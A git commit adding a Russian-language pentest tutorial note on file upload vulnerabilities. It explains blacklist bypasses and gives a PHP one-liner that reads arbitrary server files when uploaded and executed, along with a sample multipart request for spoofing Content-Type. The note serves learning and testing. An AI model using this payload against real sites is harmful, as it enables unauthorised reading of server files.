This commit is contained in:
2026-07-30 11:35:10 +05:00
commit 8a3ec978ad
113 changed files with 3384 additions and 0 deletions
+31
View File
@@ -0,0 +1,31 @@
**Уязвимость загрузки файлов** возникает тогда, когда сервер позволяет пользователям загружать файлы в свою файловую систему без надлежащей проверки имени файла, типа, размера и содержимого файла. Неспособность должным образом применить ограничения означает, что даже самая базовая функция загрузки изображения может быть ипользована для загрузки и эксплуатации опасных файлов.
В некоторых случаях, сам факт загрузки файла может нести в себе опасность. Некоторые атаки могут включать последующий HTTP запрос на иполнение файла.
## Как возникает уязвимость?
Учитывая довольно очевидную опасность, редко встретишь сайт без ограничений на загрузку файлов. Например, разработчики могут создать blacklist для опасных типов файлов, но не учитывать расхождения в анализе при проверке расширения файла. Как и в любом черном списке, легко можно опустить менее явные типы файлов, которые всё еще могут быть опасными.
## Использование неограниченную загрузку файлов для вызова консоли
Самый худший сценарий - когда сайт дает возможность загружать и запускать файлы php, js, python.
Поэтому стоит попробовать залить файл на сервер и выполнить его (через запрос в url)
```php
<?php echo file_get_contents('/path/to/target/file'); ?>
```
Если стоит ограничение на **Content-type**, проверить можно ли подменить его в заголовке.
```http
POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data;
boundary=---------------------------012345678901234567890123456 ---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg" Content-Type: image/jpeg [...binary content of example.jpg...]
---------------------------012345678901234567890123456 Content-Disposition: form-data; name="description" This is an interesting description of my image.
---------------------------012345678901234567890123456 Content-Disposition: form-data; name="username" wiener
```